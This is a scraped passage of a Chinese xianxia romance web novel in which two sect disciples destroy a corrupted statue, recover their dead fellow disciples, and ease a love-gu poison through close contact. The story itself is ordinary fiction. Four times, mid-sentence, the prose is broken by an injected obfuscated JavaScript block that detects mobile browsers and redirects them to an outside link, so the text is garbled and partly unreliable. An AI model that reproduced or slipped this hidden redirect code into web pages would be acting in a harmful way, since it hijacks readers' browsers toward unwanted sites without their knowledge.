连串灯盏在空中展开,形成一道瑰丽又致命的扇形火幕,眨眼间吞没了涌来的黑色鼠潮。火舌所过之处,傀儡鼠们吱哇乱叫,大半鼠群转眼被烧得焦黑;剩下的傀儡鼠露出惊恐之态,忙不迭往后退。 眼见火星裹着灯油落地,火焰顺势蔓延,将来不及逃跑的傀儡鼠彻底吞噬。 就在烈焰即将席卷开时,神像额头上的宝珠灵光一闪,无形的禁制展开,原本熊熊燃烧的烈火像被无形巨手掐灭,转眼消失无踪。 满地灰烬中,云莳轻巧落地,喘匀了呼吸,伸手在他掌心写道:‘没事,都解决了。’ * 解决了鼠潮,还不到休息的时候,宝珠不到手,他们别想活着离开此地。 很快,继续先前被打断的动作,云莳挽起衣袖,纵身一跃就到了神像的衣摆上。 多亏她自幼野惯了,就算拜入凌云宗,有师兄管束着,上树掏鸟、下河摸鱼的事也没少干,此刻爬起这尊巨神像亦是驾轻就熟,身如灵猿,几个起落便到了神像的肩头。 云莳攀住神像的耳朵,借着凸起的金甲稳住身形,小心探出头,朝它额心的玄元宝珠看去。 就在目光触及那抹光芒的瞬间,一阵莫名的眩晕袭来,她怔怔盯着这枚流光溢彩的珠子,只觉得此物灵气氤氲,至美至强,实在令人无法抗拒…… “收敛心神,勿直视宝珠!” 下方一声断喝,将陷入迷离的云莳蓦然惊醒。她晃了晃昏沉的脑袋,这才惊觉自己的手不知何时已伸了出去,差点就碰到那枚看似人畜无害的宝珠。 她心生后怕,赶紧收回手,低头循声看去。 神像底下,白衣修士正仰面“望”着她的方向,以她的目力,能清晰地看见他眉眼间难得一见的焦灼。 云蘅彷佛知道她的状态,肃然提声,语速极快地念出:“记得我方才教你的么?以气御心,以心破障,莫被外相所扰……” 云莳立刻屏息凝神, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816115|190888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 依言运转体内所剩无几的灵力,指尖结印,一道清光自掌心浮现,缓缓罩向宝珠所在处。 两者相触,安静的宝珠顿时剧烈晃动,表面的流光忽明忽暗,似被无形的锁链拴着,始终难以脱离神像。 云莳咬紧牙关,加强灵力输入,全部注入清光之中—— 就在宝珠晃动得愈发厉害,眼看就要从天眼处脱落时,意外忽生。 冥冥中,什么禁锢破碎的声响在他们识海中响起。紧接着,神像另外两只石雕的眼睛迸射出幽绿光柱,映得满殿森然,随着瞳孔转动,祂的嘴角慢慢扯出一个僵硬的弧度。 那绝非神像该有的神情,清正威严荡然无存,只剩下说不出的邪异,犹如魔神降世,一眼就看得人心脏狂跳,毛骨悚然。 “真是可惜……” 苍老熟悉的声音在大殿中回荡,字字寒意刺骨,“只差一点,老夫便又能吞掉一个新鲜的神魂了。” 早在神像出现异常时,云莳便打了个激灵,松开手翻身跃下,喘着气回到云蘅身边,飞快“告诉”他发生了什么。 待这句话落下,云蘅同时在识海中听见,登时明白他们陷入到了一个怎样危险的境地。 二人并肩而立,无暇交流更多,在云莳仰望的视线里,这座巨大的神像当真活转了过来,关节处嘎吱作响,浑身的碎石簌簌落下,砸在地面上发出清脆的声响。 祂放下高举金铜钢鞭的右手,头颅低垂,两束幽绿光柱锁住他们,无边威压和杀机扑面而来。 面对这种存在,别说反抗,他们就是动一下都十分困难。 这下真是踢到铁板了。云莳不知哪来的心思感叹,身侧的云蘅亦是反应很快,马上仰起头,朗声开口。 “玄玑真人身为凌云宗太上长老,据闻仁和慈爱,机关秘术独步天下,还曾孤身镇守深渊裂隙三百年。如今前辈既承祖师残魂,为何反倒与魔魅同流合污?” 此话一出,殿内空气凝固。 神像面容扭曲,声若滚雷,“无知小辈,也配质问本座?!” 云蘅却似浑然不觉危机,继续高声道:“晚辈读过祖师留下的手札,犹记得一句‘镇魔易,守心难’。若前辈神智尚存一丝清明,该知靠吞噬生魂苟存,早已背离了镇守此地的初心,也绝非那位玄玑真人所愿见到的……” 一面拖延时间,他暗中握住云莳的手,在她掌心飞快划下一个字。云莳眸光一闪,立即会意,余光逡巡四周,寻找机会—— 对面,神像果然被激怒,“初心?!千载孤寂,谁又经历过老夫经历的一切,不过都是些虚情假意、冠冕堂皇的好听话罢了。” 漫长光阴里,早就被秘境魔气侵染彻底的残魂狰狞咆哮,“勿再废话,既然尔等执意找死,便永远留在此地,化作老夫的养料罢!” 话音未落,气浪在掌心凝聚,巨大的手掌带着摧枯拉朽之势朝他们拍下。 而在此之前,抓住对方晃神的瞬间,周身压力稍弱,云莳马上拉着云蘅疾闪至殿内最粗的承重柱后。 几乎是同时,那只失控的巨掌已至,“轰隆”一声,粗壮的石柱应声而断,横梁发出不堪重负的呻吟,穹顶开始层层龟裂。 整座大殿地动山摇,身后传来震耳欲聋的怒喝,混乱中,云莳拉住云蘅,拼尽全力,终于连人带影冲出了殿门外。 11. 破魔 大殿倒塌的轰鸣里,铺天盖地的杀气从身后压下,千钧一发之际,云莳急得揽住身旁人的腰,带着他猛地跃过门槛。 一气儿奔出半里远,力竭时险些收不住脚步,还是被云蘅及时拦了把,她才避免以脸止刹。 云莳气喘吁吁,扶着他的手臂站稳,再回头望去,那座高塔已经坍塌大半,烟尘弥漫间,金甲神像正在疯狂挣扎,吼声震耳欲聋,踏得地面都在隐隐晃动。 被这穿透神魂的声音影响,二人皆是脸色惨白,云蘅压住不适,低声道:“殿中有镇压魔气的法阵,神像暂时冲不出来,但此阵日久年深,禁不起多少折腾,我们必须尽快另想他法。” 不然这东西随时可能破阵而出,届时两人就是插翅也难逃了。 以云蘅在阵法上的造诣,云莳毫不怀疑他的判断,用力晃了晃嗡嗡作响的脑袋,目光急扫四周,这才发现他们不知跑哪里来了。 周遭殿宇皆是半透明的虚影,唯有前方坐落着一方开阔的莲池,玉栏环抱,碧水潺潺,荷叶田田间点缀着朵朵白莲,清雅之态与当下格格不入。 先前在外头听见的水声,难不成就源自此处?她凝目观察,发现了不对。 这座莲池占地极广,远眺过去,非方非圆,乃是特殊的九角形制,每个池角都矗立着一尊高大的石雕,囚牛俯首聆音,睚眦怒目圆睁,嘲风展翅欲飞…… 正是龙之九子,外表褪色剥落,历经岁月侵蚀,但仍保持着栩栩如生的威严神态。 这布置,这石像,云莳越看越觉得熟悉,苦思冥想了会,灵光一闪,想起是在哪里看过了。 ——是宗门藏经阁里,那本冷门的《上古阵谱图考》上头的,她偶然翻过几页,没想到现在派上了用场! 这个发现让她兴奋起来,转身兴冲冲就拉起云蘅的手,想也不想,在他手心里一顿比划。 ‘以莲为引,九龙镇厄,这里有玄玑真人布下的极天诛魔阵,一定能克制这尊神像!’ 被突然抓住手掌,云蘅微滞了下,不动声色地掩好,待完全理解她话中之意,沉吟着接到。 “若是此阵,确实能克邪镇魔,威力极大……依你所言,池面莲花盛放,说明阵势仍在运转,但要完全启动并非易事,需以修士精血为引,以特定顺序激活九尊石像,一步都错不得……” 沟通总结下来,这方莲池确实是玄玑真人当年镇压深渊裂隙留下的高阶古阵法,可启动条件苛刻不说,对魔化后的神像克制效果也未可知。 除非能将神像引到莲池中央,让九尊瑞兽石像同时发力、将其锁死,才能最大化阵法的威力。 二人快速交流完毕,云莳望回玄元殿的方向。 恰在此时,一声巨响传来,整座大殿轰然倒塌,神像巨足从烟尘中踏出,祂终于挣脱束缚,踏着残垣断壁,大步朝他们逼近。 那双幽绿光柱隔着数十丈距离扫来,紧紧盯着两人的身影,俨然已将他们视作囊中之物。 不能再等了。云莳握紧凝雪剑,另一只手在云蘅掌心用力划下。 ‘既然如此,我去引神像入阵,你来开启阵法,尽力而为,若我未按时归来,你即刻撤离,先寻退路!’ 依当下情境和二人的状况,这样的安排是最合理也是最有生机的。云莳思路清晰,写完便要抽身离开,谁知那只手被云蘅倏然握住。 “半柱香。”他沉声重复,带着毋庸置疑的肯定,修长五指攥得很紧,“你若不回,我便去寻你。” 见状她愣了下,旋即扬起唇角,明知跟前的人看不见,还是朝他绽出个大大的笑容。 咽下涌到嘴边的“师兄”二字,云莳轻快道,“好,我记住了,半柱香内,定会凯旋!” * 尾音将落,云莳折身冲向来时的路。 凝雪剑斜指地面,一路火星迸溅、划出刺耳鸣响,瞬间盖过了其余杂音,将神像的注意力全部吸引过来。 “苟且偷生的魔物,也配顶着玄玑真人的名头作恶!” 她声音清越如磬,借着冲势纵身跃起,宛若惊鸿,手中长剑寒光暴涨,迎着巨大的神像直直斩去。 二者相对,犹如蚍蜉撼树,见她自来送死,神像幽绿的双瞳骤然收缩,周身魔气翻涌,下一刻,两道光柱破空射来,所过之处连空气都被冻住、凝出雪白冰霜。 云莳凌空翻身,险险避开这击。凝雪剑同时在身周划出数道剑影,将追来的绿芒尽数斩碎。 “就这点本事么,”她朗声长笑,跳跃着往后退去,继续作死地挑衅对方,“连我这个小小修士都奈何不得,千年修为莫不是都修到狗肚子里去了!” 这句话彻底点燃了神像的怒火,祂发出震天咆哮,巨足踏碎地面,紧追不舍,手中金铜钢鞭横扫而来,鞭上魔气缠绕、阴风刺骨,隐约可见万千怨魂在其中扭动。 这一击若是挨上了,就算有灵力护体也要神魂俱散,大罗神仙也难救。 云莳瞳孔微缩,却不退反进。她手腕急转,凝雪剑绽出皎洁月华,在身前布下一道剑幕。剑光与魔气碰撞的刹那,爆发出刺耳的撕裂声。 “铛”的一声巨响,剑身剧烈震颤,虎口迸裂出血。借着这股力道,她顺势向后飘飞,终于落在了莲池边缘。 莲池畔,云蘅虽目不能视,却敏锐地捕捉到空气中灵气的异动。时机已至! 他广袖一振,身形翩然掠起,如白鹤凌虚,破开指尖,以血为墨,在虚空中迅速勾勒出九道符印。 再是推掌而出,一声清喝,符印化作流光分射九方,依次没入九尊龙子石像的眉心,切合阵势流动、分毫不差。 “嗡——” 这一刻,整座莲池都被注入了生命。九尊石像同时震动,石质表面浮现出细密裂纹。 紧接着,睚眦、嘲风、蒲牢、狻猊、霸下、狴犴、负屃、螭吻,九双石目次第亮起,灼目的金色光柱冲天而起,在空中交织成一张遮天蔽日的灵网。 池水开始剧烈翻涌,中央凭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816116|190888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空出现一个巨大的漩涡。清澈的池水与底下涌出的浊流碰撞,清浊交缠间,一道深不见底的裂隙缓缓张开。 那道裂隙中不见半点光亮,只有纯粹的黑暗,仿佛连光线都能吞噬,正是连通三千虚空的深渊裂隙。 就在灵网成型的刹那,追来的神像一头撞入其中。祂显然没有料到这突来的变故,如同陷入蛛丝的飞蛾,每一下挣扎都让灵网剧烈震颤,搅得气浪翻卷。 池畔的二人几乎要被掀飞出去,相互扶持着才能站稳。 随着挣扎愈烈,神像的外貌发生可怖变化,额骨处猛地突起,两支漆黑尖角破体而出;脊背弓起,生出六条骨节嶙峋的手臂,狂乱舞动,原本庄严的面容彻底扭曲,在祂脸上不断有痛苦的怨魂浮现、堆叠、挣扎。 此时的祂,已彻底褪去神性,化作一尊自九幽爬出的罗刹。 就在灵网经受不住冲击、将要崩溃的前刻,祂额间那枚玄元宝珠迸发出最后一道清辉,如涟漪荡开,然后自行脱落,悬浮在半空。 那头的云莳睁大眼睛,便见光晕里浮现出一道仙风道骨的身影,一袭太极道袍,白眉及肩,周身散发着祥和气息,与旁侧的魔像形成天壤之别。 老道虚影对着二人微微颔首,其后一分为九,分别立于九尊龙子石像上。 九个虚影同时结印,动作整齐划一,齐声吟诵古老的咒文。极天诛魔阵此刻被完全激发,九道金光锁链般地缠绕住魔像的肢体,将祂一点点拖向深渊。 “凭什么——” 被禁锢的残魂发出嘶吼,“我守护此地千年,为何最终落得如此下场!” 老道虚影目光悲悯,嗓音缥缈回荡,“一念成魔、一念成佛,尔受深渊魔魅所诱,执念成劫,早该解脱了。” 随着阵势运转,锁链收紧,在魔像不甘的长啸中,巨大的身躯终究被拖入深渊,寸寸湮灭,了无痕迹。 待深渊裂隙合拢,池水恢复平静,空中的宝珠也愈发黯淡。老道虚影转向云莳与云蘅,脸上露出欣慰的微笑,双掌轻合又展开—— 两抹温润的流光自他掌心飞出,下瞬没入二人额心,带着一丝温润的暖意。 做完这一切,他的身影便化作漫天飞沙,随风逝去。 待最后的光芒消散,整座玄元仙府遽然震动起来。所有的殿宇以肉眼可见的速度褪色、衰败、瓦解,千年时光在这一瞬间加速流逝。 就连高空中,数十个飘浮的灵光团也接连熄灭,纷纷坠落,“砰砰砰”砸在广场上。 顾不上琢磨那道流光在脑子里多出了什么,云莳一眼扫过去,这才发现,这些灵光哪是什么法宝,压根就是一具具被吸干灵力和血肉的枯槁尸首,看身上的衣着配饰,竟然大半都是凌云宗的弟子! 望着满地尸身,她不由心情沉重。旁边的云蘅察觉异样,眉峰微蹙,正要询问,就被她握住手,动作迟滞地写下。 ‘灵气团里都是尸体……有散修,但大部分,好像都是凌云宗的弟子。’ 12. 脱衣 知晓此事,云蘅也是脸色骤变,疾步过去,俯下身逐一查探,唇角紧抿,良久未言。 云莳蹲在他身旁,不忍去辨认这些尸首的面容。其中或许便有曾与她一同练剑、一同说笑过的同门。 云蘅素来沉敛,很快收回情绪,没有焦距的银眸缓缓转向她。 “不瞒道友,在下此行下山,身负宗门要务,正是前来调查万骸秘境为何频有凌云宗弟子失踪之事……只是不知,真相原是如此。” 现在想来,道理也不难明白。玄玑真人本就是凌云宗长老,诸如问心路、玄元宝珠、上古阵法……种种关卡非凌云宗弟子难以破解。 这些弟子初入此地,听了老者开头那番鬼话,多半信以为真,怀着对自家祖师的敬仰踏入所谓的“考验”,浑然不知这缕残魂早已被魔气扭曲,哪还想着找什么传承人,全是冲着新鲜神魂来的,致使这些人深陷其中,尽数殒命。 事到如今,罪魁祸首已经伏诛,二人也只能为他们收敛遗体。 自得了老道虚影最后的那团流光,云蘅和云莳身上的伤势与疲惫便瞬间消失,但后者的缠心蛊仍未清除,灵力封禁着,连随身的戒子囊都打不开,于是只有拜托云莳代为收殓。 哪怕无法表明身份,对这种事,云莳自不会拒绝。待最后一具尸身被妥善收起,云蘅面向她,极为正式地行了一个道礼。 “此番多谢风道友仗义相助,于云蘅、于凌云宗上下皆铭记于心。还请道友随我同返宗门,此行之事,云蘅当禀明师尊,道友之恩,亦当涌泉相报,绝不怠慢。” 他郑重其事,显然绝不是在说什么客套话,云莳一听,却是暗暗叫苦。 糟了,折腾来折腾去,忘记这茬了!师兄明明最不喜与外人过多牵扯,怎么就非要一再让她“同返宗门”? 云莳脑子急转,实在找不到合适的理由拒绝。毕竟她戒子囊中的同门尸身需要送回宗门安葬,而且他们还未真正走出万骸秘境,怎么也得将灵力尽失的云蘅平安送出去,才能另做打算。 思来想去,都没有第二个选择,她硬着头皮含糊应了。 同时在心底盘算:只要能顺利走出秘境,之后的行程里,她一定要找个合适的时机溜走,或是想办法悄悄换回原本的身份。 反正,绝对、必须,不能让师兄发现她的真实身份就对了。 这般打定了主意,云莳佯作无事,与云蘅站起身,刚说要去找找怎么能出仙府,眼前就白光一闪、天旋地转,熟悉的眩晕感涌来。 待这股空间转换感退去,二人睁眼,已落在一片荒芜山岭间。没有煞灵与妖兽,只有风卷着灰雾在石缝间游荡,昏蒙一片。 他们正站在某个山崖底下,身旁是陡峭的崖壁,脚下是嶙峋的岩石,安静得能听见彼此的呼吸声。 这场景,这瘴气,他们是从仙府直接传送到万骸秘境外头了? 云莳认出周围的环境,还没来得及为这意外之喜松口气,就听见身旁传来一声压抑的闷哼。 转头望去,云蘅不知为何脸色煞白,毫无预兆地单膝跪地,身躯剧烈颤抖,连脊背都绷成了弓状。 与此同时,消失许久的系统声音在脑子里迭声炸响,一句接着一句,搅得她太阳穴突突直跳。 【警告!目标云蘅体内的缠心蛊压抑过久,现已全面爆发!生命体征急速下降,需立即融灵解毒,否则将有性命之忧!】 * 这堆极具冲击力的话一股脑涌入意识,打的云莳措手不及,表情一片空白。 再看云蘅,短短片刻,已是额角青筋暴起,十指扣入地面,牙关紧咬,仍有抑制不住的、痛苦的喘息从齿缝间溢出。 登时,云莳一个激灵,回过神来。无论如何救人要紧,她扑上前将人扶住,同时在心底与突然冒出来的系统迅速交流。 ‘你终于能说话了,我师兄这样子到底怎么了?明明之前已经好多了,怎么又犯病了!’ 系统没半分拖沓,【你们之前误入了芥子空间,我与蛊毒都被暂时封印,现在脱离了规则压制,所以缠心蛊加倍反噬了。如今普通渡气已经对云蘅无用,宿主必须与其肌肤相亲,将自身灵气融入他全身血脉,才能缓解蛊毒,救其性命。】 此刻,云蘅已经陷入意识不清的状态,胡乱握住她探脉的手,浑身的颤抖顺着手掌传来,让云莳的心脏也跟着战栗。 “肌肤相亲”“灵气融入”“救其性命”…… 种种敏感字眼在脑海里来回盘旋,她眼眶不自觉发红,周遭的一切都成了模糊的虚影,眼前只剩他冷汗涔涔、双眸紧闭的熟悉面庞,苍白得让人心慌。 在系统再次开口劝说前,她忽而将人放开—— 然后把人推进山洞更里头,让云蘅靠在石壁上。 云莳蹲在男子跟前,以最快的速度扯开他衣襟,再“哗啦”粗暴地抽出腰带,剥开他染血的外衣、最里层的亵衣,露出块垒分明、肌肉紧实的冷白上身。 一眼扫去,就看到宽阔的胸膛正在激烈起伏。 然后云莳眨也不眨,脱下自己的所有衣裳,仅留一件轻薄小衫。即便有灵力护体,雪白的两只胳膊接触到寒冷空气,让她骤然打了个寒颤,鸡皮疙瘩禁不住冒出来。 云莳已是豁出去了。 如此将二人脱光大半,她草草在他掌心划了个“救你”,也不管这会的云蘅还有没有力气理解,写完后,张开双臂就将他整个拥进怀里,脖子以下的部位紧贴在一起,尽可能地让二人肌肤“相亲”。 ——当温热柔软的身子撞上男子紧实灼热的身躯,云莳再是有所准备,也不免心口一窒,喉咙发紧,极力压下所有心悸。 而被她抱住的瞬间,云蘅微不可见地一滞,身体两侧的手臂艰难抬起,不知是想推开、还是回抱,挣扎几下,到底无力地跌落回去。 二人面对面,呼吸可闻、温度交融,两颗心脏只隔着那层薄薄小衫,不多时就同步在一起,砰砰砰,砰砰砰,云莳已经分不清到底是自己还是他的。 她强忍这陌生的感受,维持着姿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816117|190888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 势,将掌心贴在他后心要穴,催动灵力,莹白灵光顺着所有接触的地方渗入他体内。 这股灵气在他经脉中流转,如同溪流淌过干涸的土地,输入越多,云莳越能清晰感受到蛊毒的抵抗—— 那股阴寒在他血脉里乱窜,与她的灵力激烈碰撞,僵持许久才不甘退下。云蘅紧绷的身体总算慢慢放松。 不知过了多久。一声极轻的喟叹从他喉间溢出,低哑而清晰,落在她耳边,让她长睫颤了下,转眸看回去。 谁想,对上一双蓦然睁开的眼眸,剔透如灰琉璃,似有灵光闪过,瞬间亮得慑人。 吓得云莳呆在原地,呼吸都忘了。 师师兄能看到东西了??他看到她的脸了么?! 没错,这会她已经忘记千幻面的存在了。 不过下一刻,那抹光芒便消失,云蘅的眼底又落回一片无焦距的茫然。他难以控制地晃了晃头,清隽面容上还残留着两分虚弱。 见状,云莳提起的心重重落下。后知后觉地发现二人现在的姿势有不多和谐,赶忙放开手,急退站起,抓起一边的衣衫就往身上套,试图装作什么都没发生过。 就在她忙着“毁灭证据”时,那头的云蘅也彻底缓了过来,突兀开口,嗓音还带着未散的沙哑。 “……风道友,又劳你救了我一回。” “没事。”云莳下意识应声,“我说了送佛送到西,肯定就要” 话到一半惊觉不对,对了,师兄现在还听不见,她得划字告诉他才行。 谁知跟前人表情微变,侧耳作倾听状,须臾后,眉峰舒展,俊容露出一丝恍然。 “原来,风道友的声音是这样的。”云蘅闻见这久违的人声,当下轻叹,“果然朝气蓬勃,自古英雄出少年,在下自愧不如。” 闻言,云莳震了下,顿时反应过来:经过这次融灵解毒,云蘅虽然没恢复视力,却恢复了些许听觉,而且没有认出她的声音——不用说,肯定是千幻面的功劳。 这么看来,系统说的确实没错,云蘅的感官在慢慢复原中,再多解几次毒说不定就…… 察觉自己在想什么,云莳当即在心里狠狠唾弃自己:跟前可是从小把她带大的师兄,先前那些迫于无奈的冒犯也就罢了,她竟敢琢磨这些旁的,简直是大不敬! 她按下心中杂乱,面上挤出两声干笑,“原来云道友能听见了,这般解毒果然有效,倒是省了不少事。” 说话间暗搓搓把“解毒”二字加重声调,只盼师兄看在她也是一片好心的份上,不要深究更多。 毕竟刚才那番解毒的动作实在算不上体面,而且闻所未闻,说出去任谁听了,都像她垂涎师兄美色、为占便宜编的瞎话。 但云莳也清楚,这只是她一厢情愿的想法。 云蘅面上瞧着平静,长睫低垂,掩去眸中神色,一开口却直接将她的退路堵死。 “风道友替我解毒,云蘅自是感激不尽——只是不知,道友如何知晓我所中之毒,又怎会清楚解毒之法?” 13. 坦白 ‘如何知晓我所中之毒,又怎会清楚解毒之法’—— 以云蘅的性子,能问出这话,显然不是临时起意。就连之前的“渡气解毒”,云莳现在也不敢肯定,他是否真的全程没有意识。 总而言之,想要保住云蘅的信任,眼下是绝对没办法随便糊弄过去了。 云莳想到这些,脑子飞速转动,倒也不是全无对策。 很快,她长叹了口气,干脆盘腿坐在他前面,摆出一副要坦白的架势。 “好吧,事到如今,看来在下也不得不实言相告了。” 云莳语气沉痛,将目光投向灰雾深处,“云道友,我救你,确实不是偶然——不知阁下是否知晓,你身上的毒其实是一味叫做‘缠心蛊’的南疆情蛊,乃是合欢宗圣子苏玉倾所下。” 她娓娓道来,“而我之所以知道这些,是因为我与那苏玉倾有不共戴天之仇,此行本为了找他算账,谁知跟着他进了秘境,恰好撞见你蛊毒发作,这才顺势将你救下。” 打小混迹市井,云莳最懂得如何说谎才能骗过人,那便是避重就轻、以真为假,就像她现在说的,都是真话,但隐去了最关键的那些细节,顺理成章地就掩去自己的真实身份和目的。 对她这番真情实意的解释,云蘅静静听着,脸色看不出什么变化,不知是信了还是没信。 良久,他缓缓颔首。 “原来如此,看来皆是那位苏圣子惹出的麻烦。”语气不辨喜怒,再话锋轻转,“不过在下冒昧一问,此人与风道友究竟有何怨仇,能让你这般介怀?” 这下可问到点子上了。话音将落,云蘅就听得对面少女的清朗嗓音陡然拔高,似乎握着拳头在朝空气较劲。 “那仇可大了去了!” 少女愤愤不平,难掩激动,“这苏玉倾惯会拈花惹草,吃着碗里看着锅里也就罢了,还敢朝我最重要的人下手!这样为祸世间,我辈岂能容他逍遥,自是要替天下苍生除了这个祸害!” 这通话听得云蘅若有所思。尤其是那句“最重要的人”,清晰落入耳中,让他不自觉微微出神,不知想到什么。 而云莳径自撂完狠话,发泄出憋了许久的闷气,脑筋一转,眼睛倏然亮起。 “对了,云道友也是被此人下蛊所害,往后我们不妨联手,一起找那苏玉倾算账,也省得他再去祸害旁人,你看如何?” 她简直佩服自己想到这个绝妙的主意:只要师兄答应联手,那么他岂不是绝不会被苏玉倾蛊惑了?还能成为她的一大助力,这样她也不再是孤军作战,完成任务指日可待! 不想,云蘅的反应出乎意料的平静,并未被这番慷慨陈词所感染。 “风道友侠肝义胆,云蘅本该义不容辞。只是方才出得秘境,同门尸骨未寒,身为师兄,理当尽快护送他们回归宗门,入土为安。” 他声音低沉,带着几分歉然:“待此间事了,安葬同门之后,在下定当履行诺言,随道友前去寻那苏玉倾,共讨公道。” 听见这话,云莳也陡然记起,不由得心绪回落。这件事确实是最紧要的,看来其他事情只能往后放放了,她暗自叹了口气。 * 话到这里,气氛稍冷,云蘅好像才想起自己光着上半身,慢条斯理地将她剥下的衣衫一层层穿回去。 云莳本要礼貌地转开视线,可余光扫过他肌理分明的腰腹,被努力遗忘的某些触感骤然翻涌上来,她下意识咽了咽口水,突然想起另一桩重要的事。 虽然尴尬,可事关重大,现在再不说以后就更没机会提了。 她眼神乱晃,清了清嗓子,待云蘅理好衣襟,循声望来,这才吞吞吐吐开口。 “额,那个,还有一件事。” “云道友,你、你身上的缠心蛊非同小可,极为阴毒。”云莳也没想到自己的下限还能突破,竟然真的说出来了,“一旦中蛊,就必须、必须和特定体质的人灵气交融才能缓解,稍有延误,就会像先前那样性命垂危……” 皇天在上,总算说完了。云莳呼出口气,脸颊烫得能煎鸡蛋,已经不敢再看他一眼。 跟前人何等聪慧,只听她的开头便猜到她要说什么了,等她磕磕巴巴地说完最后一句,崖下的空气安静得怪异,难以言喻的微妙气氛在二人之间弥漫开。 好一会儿,云莳才听到那道熟悉清越的男声响起,不疾不徐,带着些许难以捉摸的意味。 “所以,道友正好便是那位体质特殊的人?”云蘅一字一顿,“你说的灵气交融,是指我们必须像前两次那般亲密接触,才能缓解蛊毒,救我性命?” 那双银眸明明什么都看不见,投射过来时却有种穿透人心的力量。 面对这股无形的压力,云莳的心咯噔一下,直直坠到了最底层。 完了,不止刚才,他果然早就有感觉了。被一个“陌生人”这般对待,要不是她顶着“救命恩人”的名头,师兄估计早就用玄霜把她戳成筛子了,忍到现在才发作,已算是极力克制,法外开恩。 但是,她又有什么法子呢。云莳忍不住苦笑,事已至此,要保住他的命只能用这种办法,冒犯如何,不敬又如何,她不得不这样做,他也不得不接受。 她闷声道:“对,我就是这个人,也只能靠这种方式救你——要是你实在接受不了,去找下蛊的苏玉倾也行,他估计现在还在铺天盖地地找你,就等着和我一样给你解毒呢。” 后半段纯粹是气话,但此话一出,沉稳如云蘅也被噎了一记,好像面对自家闹脾气的小师妹,无奈扶额。 “风道友不必动气,云蘅只是不解,没有责备你的意思……至于苏玉倾,此人是男子,如何可能替我解毒,道友便不必说笑了。” 云莳顿了顿,想起刚才自己也脱了上衣,难怪云蘅会说什么男子不能解毒的话,敢情是认出了她的女子身份。 不过这话也明晃晃地显出他的知识盲区。云莳瞪了他一眼,无情戳破真相。 “哼,你这就是少见多怪了,人家可是合欢宗圣子,难得的天生媚骨,喜欢的就是男人。不然他干嘛给你下情蛊?又不是吃饱了撑得没事干。” 这话又把云蘅堵住。显然,他也想起了关于这位南疆苏圣子的种种传闻,脸色微变,一时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816118|190888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟无言以对。 良久,他轻叹一声,神色与语气都真正缓和下来,再不像先前那样故作客气。 “是在下孤陋寡闻,错怪道友了。既然如此,敢问此蛊可有根治之法?总不能一直劳烦风道友,让你为我这般费心劳力。” 云蘅问得诚恳,却不想,听到“根治之法”四个字,对面的云莳心口一跳,气焰顿时弱了下去。 她脸色红红白白,声音也含糊起来,“反正,反正这是情蛊,你也知道,不是那么容易解开的……我们既然暂时同行,为友解困也是顺手的事,你便不要多想,养好身体就是了……” 毕竟想要根除蛊毒,可不是简单的灵气交融就行,什么“灵肉结合”,什么双修,系统说的那堆她自己都还不能接受,更不可能现在就告诉云蘅。 横竖能拖一时是一时,先把眼下这关渡过去再说。 不料云蘅似是打定主意,静默片刻后,语气忽而转为郑重。 “不必如此。在下岂能为苟全性命,屡次劳烦道友行此逾矩之事?若真到了危急关头,道友不必顾忌,更不必勉强。” 他苍白的面容转向她,唇角牵起一抹极淡的笑意,“风道友已经仁至义尽。这份恩情,无论何时,云蘅皆铭记于心。” 宁为玉碎不为瓦全,果然是师兄会有的反应。云莳听得心急,却也知道光凭口舌压根说服不了他。 几句争执无果后,她只能安慰自己:反正他每次蛊毒发作都虚弱无力不能反抗,大不了到时候她先斩后奏,把人救了,再说其他。 * 交流半晌,理论上十分陌生的两人,勉强也有了两分信任。 至少对云蘅而言,这位突然冒出来的“救命恩人”,能确定不是他族派来的居心叵测之辈。或许藏着些小心思,但目前看来都无伤大雅。 何况,二人曾在玄元仙府里并肩作战过。哪怕素昧相识,配合起来却意外的默契,如今放下戒心,他对这少女也没由来地多了几分信任与宽容——以至于被接连冒犯,竟也没觉得多反感,难得没有深问,就这么默认了下来。 